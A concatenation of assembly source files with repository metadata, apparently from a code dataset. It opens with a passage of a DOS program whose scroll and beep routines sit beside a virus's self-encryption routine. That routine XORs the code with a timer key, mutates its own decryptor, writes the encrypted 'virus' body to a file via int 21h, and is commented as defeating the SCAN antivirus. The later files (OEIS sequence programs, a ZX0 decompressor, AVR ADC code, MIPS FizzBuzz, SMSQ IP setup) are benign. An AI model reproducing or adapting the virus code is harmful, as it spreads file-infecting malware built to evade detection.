jne sl_NextRow ; If now, then do next row
mov sp, bp
pop bp
ret 2
ScrollLeft endp
; -----------------------------------------------------------------------------
; In AH = 6 scroll up
; = 7 scroll down
Scroll proc near
mov al, 1 ; We will always scroll 1 line
xor cx, cx ; Set Top Row/Col to (0,0)
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
mov bh, 07h ; Use a normal blank
push bp ; Work around a lame bug on PC/XTs
int 10h ; Do Bios...Oh Do Me Now
pop bp ; And continue fixing that st00pid bug
ret ; I really feel sill doc'g this routine...
Scroll endp
; -----------------------------------------------------------------------------
PrintBlank proc near
; In ES - Video Segment
; DI - Offset to print blank at
; CX - Number of blanks to print
cld ; store forward (increment DI)
mov al,' ' ; We want to print a blank
PrintAgain:
stosb ; put in one blank char
inc di ; skip video attribute
loop short PrintAgain
ret
PrintBlank endp
; -----------------------------------------------------------------------------
; All the routines dealing with Sound and Delays - especially the delay
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
; set of programming tools - plug plug!
; Beep(Hz, MS:Word); assembler;
Beep proc near
push bp
mov bp, sp
mov bx, [bp+6] ; hertz
mov AX,34DDH
mov DX,0012H
cmp DX,BX
jnc beepStop
div BX
mov BX,AX ; Lots of port tweaking... Isn't
in AL,61H ; this shit fun???
test AL,3
jnz @99
or AL,3
out 61H,AL
mov AL,0B6H
out 43H,AL
@99:
mov AL,BL ; I know I never get bored.!!
out 42H,AL
mov AL,BH
out 42H,AL
BeepStop:
mov CX, [bp+4] ; push ms delay time
call Delay ; and wait...
IN AL, 61h ; Now turn off the speaker
AND AL, 0FCh
out 061h, AL
mov sp, bp
pop bp
ret 4
Beep endp
; -----------------------------------------------------------------------------
; In: cx = delay in ms
Delay proc near
delay1: ; What's to say... a tight loop
call delayOneMS ; counting milliseconds
loop short delay1
ret
Delay endp
; =============================================================================
DelayOneMS proc near
push cx ; Save CX
mov cx, OneMS ; Loop count into CX
DelayOne1:
loop delayOne1 ; Wait one millisecond
pop cx ; Restore CX
ret
DelayOneMs endp
; -----------------------------------------------------------------------------
Calibrate_Delay proc near
mov ax,40h
mov es,ax
mov di,6Ch ; ES:DI is the low word of BIOS timer count
mov OneMS, 55 ; Initial value for One MS's time
xor dx,dx ; DX = 0
mov ax,es:[di] ; AX = low word of timer
CalKeepOn:
cmp ax,es:[di] ; Keep looking at low word of timer
je CalKeepOn ; until its value changes...
mov ax,es:[di] ; ...then save it
CalDoMore:
call DelayOneMs ; Delay for a count of OneMS (55)
inc dx ; Increment loop counter
cmp ax,es:[di] ; Keep looping until the low word...
je CalDoMore ; ...of the timer count changes again
mov OneMS, dx ; DX has new OneMS }
ret
Calibrate_Delay endp
; -----------------------------------------------------------------------------
InitCrt proc near
mov ah,15 ; Get Video Mode
int 10h
cmp al, 7 ; Check if this is monochrome
je DoneInit
add VidSegment, 800h
DoneInit:
mov byte ptr NumCols, ah ; Set the number of Character Cols
shl ah, 1 ; Mult by two for number of vid bytes
mov byte ptr LineWidth, ah ; And stash it...
ToneInit:
call Calibrate_Delay
ret
InitCrt endp
; =============================================================================
VidSegment dw 0B000h ; Base Video Segment
NumCols dw ? ; Columns on Screen
LineWidth dw ? ; NumCols * 2
ColsToMove dw ? ; Number of video bytes to move each time
OneMS dw ? ; Calibration value for 1 ms of time
; =============================================================================
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
; -----------------------------------------------------------------------------
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
nop ; Defeat SCAN 95B
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
| 41.678322 | 81 | 0.429228 |
7012b0ee0de563f59e1d753ee35ed4840b547dd3 | 710 | asm | Assembly | programs/oeis/033/A033562.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/033/A033562.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/033/A033562.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A033562: a(n) = 2*n^3 + 1.
; 1,3,17,55,129,251,433,687,1025,1459,2001,2663,3457,4395,5489,6751,8193,9827,11665,13719,16001,18523,21297,24335,27649,31251,35153,39367,43905,48779,54001,59583,65537,71875,78609,85751,93313,101307,109745,118639,128001,137843,148177,159015,170369,182251,194673,207647,221185,235299,250001,265303,281217,297755,314929,332751,351233,370387,390225,410759,432001,453963,476657,500095,524289,549251,574993,601527,628865,657019,686001,715823,746497,778035,810449,843751,877953,913067,949105,986079,1024001,1062883,1102737,1143575,1185409,1228251,1272113,1317007,1362945,1409939,1458001,1507143,1557377,1608715,1661169,1714751,1769473,1825347,1882385,1940599
pow $0,3
mul $0,2
add $0,1
| 101.428571 | 652 | 0.815493 |
80a6bcdc991bd29a34901842d87c3bebf01b7d95 | 779 | asm | Assembly | oeis/008/A008269.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/008/A008269.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/008/A008269.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A008269: Number of strings on n symbols in Stockhausen problem.
; Submitted by Jamie Morken(s1.)
; 1,2,9,112,2921,126966,8204497,735944084,87394386417,13265365173706,2504688393449081,575664638548522392,158222202503521622809,51242608446417388426622,19312113111034490954560641,8379247307752508262094697596,4146836850351947542340780899937,2321817162512025206758598569372434,1460206948230160488362004540793871977,1024937361666644598077066310756641254976,798341384819327864528956598939176836178761,686510984945641309897046895985595677295733382,648701724319003620215781607704953711325134604209
mov $1,1
mov $2,1
lpb $0
mov $3,$2
lpb $3
mul $1,$0
add $2,1
cmp $4,0
sub $3,$4
add $5,$1
lpe
sub $0,1
add $2,1
mul $1,$2
sub $4,1
lpe
mov $0,$5
add $0,1
| 33.869565 | 490 | 0.803594 |
dbbd7f0b5a59721a6a1d3d80b4236659d3130fca | 763 | asm | Assembly | oeis/345/A345094.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/345/A345094.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/345/A345094.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A345094: a(n) = Sum_{k=1..n} floor(n/k)^(floor(n/k) - 1).
; Submitted by Christian Krause
; 1,3,11,68,630,7790,117664,2097224,43046801,1000000643,25937425245,743008378547,23298085130341,793714773371879,29192926025508929,1152921504608944840,48661191875668966346,2185911559738739586562,104127350297911284587436,5242880000000001000008492,278218429446951549637314774,15519448971100888998512394048,907846434775996175432678104306,55572324035428505186121405177606,3552713678800500929356364348366969,236773830007967588876818463025697515,16423203268260658146231491098837433005
add $0,1
mov $5,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
mov $2,$5
div $2,$0
sub $0,1
sub $2,1
cmp $3,0
add $3,$2
pow $3,$2
add $1,$3
div $2,$1
lpe
mov $0,$1
| 33.173913 | 477 | 0.777195 |
83e83c05d217113795fb5089a34aa4bebb5fb233 | 625 | asm | Assembly | oeis/104/A104721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/104/A104721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/104/A104721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A104721: Expansion of (1+x)^2/(1-4*x^2).
; 1,2,5,8,20,32,80,128,320,512,1280,2048,5120,8192,20480,32768,81920,131072,327680,524288,1310720,2097152,5242880,8388608,20971520,33554432,83886080,134217728,335544320,536870912,1342177280,2147483648,5368709120,8589934592,21474836480,34359738368,85899345920,137438953472,343597383680,549755813888,1374389534720,2199023255552,5497558138880,8796093022208,21990232555520,35184372088832,87960930222080,140737488355328,351843720888320,562949953421312,1407374883553280,2251799813685248,5629499534213120
mov $1,2
pow $1,$0
gcd $0,2
add $0,3
mul $0,$1
div $0,2
sub $0,2
div $0,2
add $0,1
| 48.076923 | 497 | 0.8208 |
3ddbc5ca39c257755a1c93aa1a48a748a6579aa3 | 397 | asm | Assembly | programs/oeis/137/A137495.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/137/A137495.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/137/A137495.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A137495: A098601(2n)+A098601(2n+1)
; 2,3,4,7,13,23,40,70,123,216,379,665,1167,2048,3594,6307,11068,19423,34085,59815,104968,184206,323259,567280,995507,1746993,3065759,5380032,9441298,16568323,29075380,51023735,89540413,157132471,275748264,483904470,849193147,1490230088
mov $1,$0
lpb $1
add $2,$0
add $3,$2
sub $2,$1
sub $1,1
sub $3,$0
add $0,$3
sub $2,$3
lpe
add $0,2
add $0,$3
| 24.8125 | 235 | 0.702771 |
2c555ee332133911eaf73c138accd848a0154a70 | 390 | asm | Assembly | programs/oeis/160/A160511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/160/A160511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/160/A160511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A160511: Number of weighings needed to find lighter coins among n coins.
; 1,2,3,3,4,4,5,6,6,7,7,8,9,9,10,11,11,12,13,13,14,14,15,16,16,17,18,18,19
mov $2,$0
seq $0,74065 ; Numerators a(n) of fractions slowly converging to sqrt(3): let a(1) = 0, b(n) = n - a(n); if (a(n) + 1) / b(n) < sqrt(3), then a(n+1) = a(n) + 1, else a(n+1)= a(n).
mov $3,$0
cmp $3,0
add $0,$3
div $2,$0
add $0,$2
| 35.454545 | 179 | 0.589744 |
23a599c03557ad071cdccfdc0e025a3527ae08f6 | 2,511 | asm | Assembly | SumoBot_Code_Dev/SumoRing/asm/src/adc_util_triggered.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | 5 | 2017-04-17T15:11:40.000Z | 2021-12-13T23:52:09.000Z | SumoBot_Code_Dev/SumoRing/asm/src/adc_util_triggered.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | null | null | null | SumoBot_Code_Dev/SumoRing/asm/src/adc_util_triggered.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | null | null | null | /*
* ADC Utilities
*
* org: 10/21/2014
* auth: Nels "Chip" Pearson
*
* Target: LCD_CDM-116100 Demo Board, 8MHz, ATmega328P
*
* Usage:
* .include adc_util_triggered.asm
*
* These functions are for triggered ADC sampling.
*
* Resources;
* adc_buff 4 bytes
*
* NOTE: PORTC shared supports I2C.
*/
; Move to ADC module
.equ ADC_LEFT_CHAN = 0
.equ ADC_RIGHT_CHAN = 1
.DSEG
adc_leftH: .BYTE 1 ; store 10 bits as 7:0..unsigned 10 bits
adc_leftL: .BYTE 1 ; store 10 bits as 7:6
adc_rightH: .BYTE 1 ; store 10 bits as 7:0..unsigned 10 bits
adc_rightL: .BYTE 1 ; store 10 bits as 7:6
.CSEG
/*
* Initialize Hardware for ADC use
* input reg: none
* output reg: none
*
* 8MHz CPU clock.
* Single Ended
* Available channels 0,1,2,3
* ATmega328P has Internal 1.1v reference.
*
* resources:
*/
adc_init_hdwr:
ldi R16, (1<<REFS1)|(1<<REFS0)|(1<<ADLAR) ; Internal Vref=1.1v, Left Adj
sts ADMUX, R16
;
ldi R16, (1<<ADEN)|(1<<ADPS2)|(1<<ADPS1) ; ADC Enable, CPU/64 clock (8MHz)
sts ADCSRA, R16
;
ret
/*
* Get ADC Data
*
* input: R17 - ADC channel. ADC_LEFT_CHAN, ADC_RIGHT_CHAN
*
* output reg: R17 - b7:0 MSBs
* R18 - b7:6 LSBs
*
*/
adc_get_data:
cpi R17, ADC_LEFT_CHAN
brne agd_skip10
; Get Left
lds R18, adc_leftL
lds R17, adc_leftH
rjmp agd_exit
;
agd_skip10:
; Get Right
lds R18, adc_rightL
lds R17, adc_rightH
;
agd_exit:
ret
/* *** ADC Support *** */
/*
* Trigger ADC channel
*
* input: R17 - ADC channel. ADC_LEFT_CHAN, ADC_RIGHT_CHAN
*
* output: adc_left Range data
* adc_right Range data
*
* NOTE: MUST read ADCL first then ADCH.
*/
adc_trigger:
cpi R17, ADC_LEFT_CHAN
brne at_skip10
; Do Left side
lds R16, ADMUX
andi R16, 0xF0
ori R16, ADC_LEFT_CHAN
sts ADMUX, R16
; Trigger
lds R16, ADCSRA
ori R16, (1<<ADSC)
sts ADCSRA, R16
; Wait ~125us
at_loop00:
lds R16, ADCSRA
andi R16, (1<<ADSC)
brne at_loop00
; Get Data
lds R18, ADCL ; get 2 LSBs .. d7:6
lds R17, ADCH ; get 8 MSBs .. d7:0..releases ADC data reg.
sts adc_leftL, R18
sts adc_leftH, R17
rjmp at_exit ; EXIT
;
at_skip10:
; Do Right side
lds R16, ADMUX
andi R16, 0xF0
ori R16, ADC_RIGHT_CHAN
sts ADMUX, R16
; Trigger
lds R16, ADCSRA
ori R16, (1<<ADSC)
sts ADCSRA, R16
; Wait ~125us
at_loop10:
lds R16, ADCSRA
andi R16, (1<<ADSC)
brne at_loop10
; Get Data
lds R18, ADCL ; get 2 LSBs .. d7:6
lds R17, ADCH ; get 8 MSBs .. d7:0..releases ADC data reg.
sts adc_rightL, R18
sts adc_rightH, R17
;
at_exit:
ret
| 18.195652 | 76 | 0.658303 |
a101f6805c4eee7efe596729930038f01c347ba2 | 2,914 | asm | Assembly | Mips/fizzbuzz.asm | Mystic-Developer/FizzBuzz-EVERYTHING | 2daed09d9d7b5e25e1027b7a740c179e653f74af | [
"MIT"
] | null | null | null | Mips/fizzbuzz.asm | Mystic-Developer/FizzBuzz-EVERYTHING | 2daed09d9d7b5e25e1027b7a740c179e653f74af | [
"MIT"
] | null | null | null | Mips/fizzbuzz.asm | Mystic-Developer/FizzBuzz-EVERYTHING | 2daed09d9d7b5e25e1027b7a740c179e653f74af | [
"MIT"
] | null | null | null | .data
fizz: .asciiz "Fizz"
buzz: .asciiz "Buzz"
fizzbuzz: .asciiz "FizzBuzz"
new_line: .asciiz "\n"
prompt: .asciiz "Please enter the highest number you want to go for FizzBuzz: "
.text
addi $s0, $zero, 5 # s0 = 5;
addi $s1, $zero, 3 # s1 = 3;
addi $t0, $zero, 1 # t0 = 1; This will be the while loop counter!
# sends user prompt message
li $v0, 4
la $a0, prompt
syscall
# gets number from user and stores it in $v0
li $v0, 5
syscall
# moves users input from $v0 to $s4
move $s4, $v0
while:
bgt $t0, $s4, exit # while t0 < 100
div $t0, $s1 # divide $t0 by 3
mfhi $s2 # store the remainder of $t0 / 3 in $s2
div $t0, $s0 # divide $t0 by 5
mfhi $s3 # store the remainder of $t0 / 5 in $s3
beq $s2, $zero, three_is_good_check_five_for_fizzbuzz # if $s2 is equal to 0, then go check $s3 and see if remainder of 5 checks out for fizzbuzz
five_wasnt_good_continue_looping: # if s3 didn't check out for fizzbuzz return to this point of while loop
div $t0, $s1 # divide $t0 by 3
mfhi $s2 # store the remainder of $t0 / 3 in $s2
beq $s2, $zero, print_fizz #if $s2 is equal to 0, then print fizz
div $t0, $s0 # divide $t0 by 5
mfhi $s2 # store the remainder of $t0 / 5 in $s2
beq $s2, $zero, print_buzz # if $s2 is equal to 0, then print buzz
# prints $t0 current number
li $v0, 1
add $a0, $t0, $zero
syscall
# prints a newline
li $v0, 4
la $a0, new_line
syscall
addi $t0, $t0, 1 # increases t0 counter by 1
j while # jumps back to top of while loop
three_is_good_check_five_for_fizzbuzz:
beq $s3, $zero, print_fizzbuzz # checks to see if the remainder of t0/5, stored in $s3 is 0. If so jumps to print fizzbuzz!
j five_wasnt_good_continue_looping # if it wasnt 0, then you return to the while loop
print_fizzbuzz:
# prints fizzbuzz
li $v0, 4
la $a0, fizzbuzz
syscall
# prints a newline
li $v0, 4
la $a0, new_line
syscall
addi $t0, $t0, 1 # increases t0 counter by 1
j while # jumps back to top of while loop
print_fizz:
# prints fizz
li $v0, 4
la $a0, fizz
syscall
# prints a newline
li $v0, 4
la $a0, new_line
syscall
addi $t0, $t0, 1 # increases t0 counter by 1
j while # jumps back to top of while loop
print_buzz:
#prints buzz
li $v0, 4
la $a0, buzz
syscall
# prints a newline
li $v0, 4
la $a0, new_line
syscall
addi $t0, $t0, 1 # increases t0 counter by 1
j while # jumps back to top of while loop
exit:
# ends program
li $v0, 10
syscall
| 23.691057 | 151 | 0.56383 |
777a4dc85818e764eca6d8f6c01a950636cc165d | 855 | asm | Assembly | smsq/java/ip/init.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/ip/init.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/ip/init.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; IP initialisation V1.02 2004 Marcel Kilgus
; 1.02 check for UDP
; 1.01 adatped for java wl
section ip
xdef ip_init
xref.l ip_vers
xref ip_io
xref ip_open
xref ip_close
xref ip_cnam
xref iou_idset
xref iou_idlk
include 'dev8_mac_vec'
include 'dev8_keys_iod'
include 'dev8_keys_java'
include 'dev8_smsq_java_ip_data'
;+++
; Initialise IP devices.
;
; status return standard
;---
ip_init
moveq #jt9.cla,d0
dc.w jva.trp9 ; close all previous sockets
moveq #-jt9.cla,d0
dc.w jva.trp9 ; close all previous sockets
lea ip_link,a3
jsr iou_idset ; setup IP linkage
jmp iou_idlk ; and link in
ip_link
dc.l ipd_end+iod.sqhd
dc.l 1<<iod..ssr+1<<iod..scn ; serial and name
novec ; no servers
novec
novec
vec ip_io ; but a full set of opens
vec ip_open
vec ip_close
vec ip_cnam ; get name of channel
end
| 16.442308 | 50 | 0.711111 |
df2bfa67c45984f8982f896c1d7b0d2a46b22a52 | 341 | asm | Assembly | programs/oeis/139/A139817.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/139/A139817.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/139/A139817.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A139817: 2^n - number of digits of 2^n.
; 0,1,3,7,14,30,62,125,253,509,1020,2044,4092,8188,16379,32763,65531,131066,262138,524282,1048569,2097145,4194297,8388601,16777208,33554424,67108856,134217719,268435447,536870903,1073741814,2147483638,4294967286,8589934582
mov $2,2
pow $2,$0
mov $0,$2
mov $1,$2
lpb $0,1
div $0,10
sub $1,1
lpe
| 28.416667 | 222 | 0.741935 |
98fab2de363a39e9ede8a5ba6ecb034d3d9a3716 | 7,936 | asm | Assembly | z80/dzx0_fast.asm | pfusik/ZX0 | dcbb75d404c9a438ceab6b082afe37e79d4fa0b1 | [
"BSD-3-Clause"
] | 1 | 2021-09-23T02:28:20.000Z | 2021-09-23T02:28:20.000Z | z80/dzx0_fast.asm | pfusik/ZX0 | dcbb75d404c9a438ceab6b082afe37e79d4fa0b1 | [
"BSD-3-Clause"
] | null | null | null | z80/dzx0_fast.asm | pfusik/ZX0 | dcbb75d404c9a438ceab6b082afe37e79d4fa0b1 | [
"BSD-3-Clause"
] | null | null | null | ;
; Speed-optimized ZX0 decompressor by spke (191 bytes)
;
; ver.00 by spke (27/01-23/03/2021, 191 bytes)
; ver.01 by spke (24/03/2021, 193(+2) bytes - fixed a bug in the initialization)
; ver.01patch2 by uniabis (25/03/2021, 191(-2) bytes - fixed a bug with elias over 8bits)
; ver.01patch3 by uniabis (27/03/2021, 191 bytes - a bit faster)
;
; Original ZX0 decompressors were written by Einar Saukas
;
; This decompressor was written on the basis of "Standard" decompressor by
; Einar Saukas and optimized for speed by spke. This decompressor is
; about 5% faster than the "Turbo" decompressor, which is 128 bytes long.
; It has about the same speed as the 412 bytes version of the "Mega" decompressor.
;
; The decompressor uses AF, AF', BC, DE, HL and IX and relies upon self-modified code.
;
; The decompression is done in the standard way:
;
; ld hl,FirstByteOfCompressedData
; ld de,FirstByteOfMemoryForDecompressedData
; call DecompressZX0
;
; Of course, ZX0 compression algorithms are (c) 2021 Einar Saukas,
; see https://github.com/einar-saukas/ZX0 for more information
;
; Drop me an email if you have any comments/ideas/suggestions: zxintrospec@gmail.com
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
DecompressZX0:
scf
ex af, af'
ld ix, CopyMatch1
ld bc, $ffff
ld (PrevOffset+1), bc ; default offset is -1
inc bc
ld a, $80
jr RunOfLiterals ; BC is assumed to contains 0 most of the time
; 7-bit offsets allow additional optimizations, based on the facts that C==0 and AF' has C ON!
ShorterOffsets:
ex af, af'
sbc a, a
ld (PrevOffset+2), a ; the top byte of the offset is always $FF
ld a, (hl)
inc hl
rra
ld (PrevOffset+1), a ; note that AF' always has flag C ON
jr nc, LongerMatch
CopyMatch2: ; the case of matches with len=2
ex af, af'
ld c, 2
; the faster match copying code
CopyMatch1:
push hl ; preserve source
PrevOffset:
ld hl, $ffff ; restore offset (default offset is -1)
add hl, de ; HL = dest - offset
ldir
pop hl ; restore source
; after a match you can have either
; 0 + <elias length> = run of literals, or
; 1 + <elias offset msb> + [7-bits of offset lsb + 1-bit of length] + <elias length> = another match
AfterMatch1:
add a, a
jr nc, RunOfLiterals
UsualMatch: ; this is the case of usual match+offset
add a, a
jr nc, LongerOffets
jr nz, ShorterOffsets ; NZ after NC == "confirmed C"
ld a, (hl) ; reload bits
inc hl
rla
jr c, ShorterOffsets
LongerOffets:
inc c
add a, a ; inline read gamma
rl c
add a, a
jr nc, $-4
call z, ReloadReadGamma
ProcessOffset:
ex af, af'
xor a
sub c
ret z ; end-of-data marker (only checked for longer offsets)
rra
ld (PrevOffset+2),a
ld a, (hl)
inc hl
rra
ld (PrevOffset+1), a
; lowest bit is the first bit of the gamma code for length
jr c, CopyMatch2
; this wastes 1 t-state for longer matches far away,
; but saves 4 t-states for longer nearby (seems to pay off in testing)
ld c, b
LongerMatch:
inc c
; doing SCF here ensures that AF' has flag C ON and costs
; cheaper than doing SCF in the ShortestOffsets branch
scf
ex af, af'
add a, a ; inline read gamma
rl c
add a, a
jr nc, $-4
call z,ReloadReadGamma
inc bc
CopyMatch3:
push hl ; preserve source
ld hl, (PrevOffset+1) ; restore offset
add hl, de ; HL = dest - offset
; because BC>=3, we can do 2 x LDI safely
ldi
ldi
ldir
pop hl ; restore source
; after a match you can have either
; 0 + <elias length> = run of literals, or
; 1 + <elias offset msb> + [7-bits of offset lsb + 1-bit of length] + <elias length> = another match
AfterMatch3:
add a, a
jr c, UsualMatch
RunOfLiterals:
inc c
add a, a
jr nc, LongerRun
jr nz, CopyLiteral ; NZ after NC == "confirmed C"
ld a, (hl) ; reload bits
inc hl
rla
jr c, CopyLiteral
LongerRun:
add a, a ; inline read gamma
rl c
add a, a
jr nc, $-4
jr nz, CopyLiterals
ld a, (hl) ; reload bits
inc hl
rla
call nc, ReadGammaAligned
CopyLiterals:
ldi
CopyLiteral:
ldir
; after a literal run you can have either
; 0 + <elias length> = match using a repeated offset, or
; 1 + <elias offset msb> + [7-bits of offset lsb + 1-bit of length] + <elias length> = another match
add a, a
jr c, UsualMatch
RepMatch:
inc c
add a, a
jr nc, LongerRepMatch
jr nz, CopyMatch1 ; NZ after NC == "confirmed C"
ld a, (hl) ; reload bits
inc hl
rla
jr c, CopyMatch1
LongerRepMatch:
add a, a ; inline read gamma
rl c
add a, a
jr nc, $-4
jp nz, CopyMatch1
; this is a crafty equivalent of CALL ReloadReadGamma : JP CopyMatch1
push ix
; the subroutine for reading the remainder of the partly read Elias gamma code.
; it has two entry points: ReloadReadGamma first refills the bit reservoir in A,
; while ReadGammaAligned assumes that the bit reservoir has just been refilled.
ReloadReadGamma:
ld a, (hl) ; reload bits
inc hl
rla
ReadGammaAligned:
ret c
add a, a
rl c
add a, a
ret c
add a, a
rl c
add a, a
ReadingLongGamma: ; this loop does not need unrolling, as it does not get much use anyway
ret c
add a, a
rl c
rl b
add a, a
jr nz, ReadingLongGamma
ld a, (hl) ; reload bits
inc hl
rla
jr ReadingLongGamma
| 31.61753 | 111 | 0.529108 |
d16884d804f7ea8e20bc0fdf49a8826a0b28c2ff | 807 | asm | Assembly | oeis/188/A188685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/188/A188685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/188/A188685.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A188685: Partial alternating sums of binomial(3n,n)^2/(2n+1)^2.
; Submitted by Christian Krause
; 1,0,9,135,2890,71639,1967545,58125959,1813561210,59034994415,1987910416810,68818255912790,2437897047570874,88061136002276310,3234416650430634090,120525771933269446806,4548292982313797644875,173561488213443692617350,6688905311480671357684875,260075445229497926116405125,10192964626663253177249907900,402372320362684797156152977125,15988100122042415340239937397275,639085402742012921910007162225125,25686054328904215992937693963384875,1037580108845582317275484914421259109
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,1764 ; a(n) = binomial(3*n,n)/(2*n+1) (enumerates ternary trees and also noncrossing trees).
mov $1,$0
mul $1,$0
div $4,-1
add $4,$1
lpe
mov $0,$4
| 42.473684 | 472 | 0.804213 |
4364414f7d657c2c36ffe47eb905c1b0110b23e0 | 843 | asm | Assembly | programs/oeis/010/A010892.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
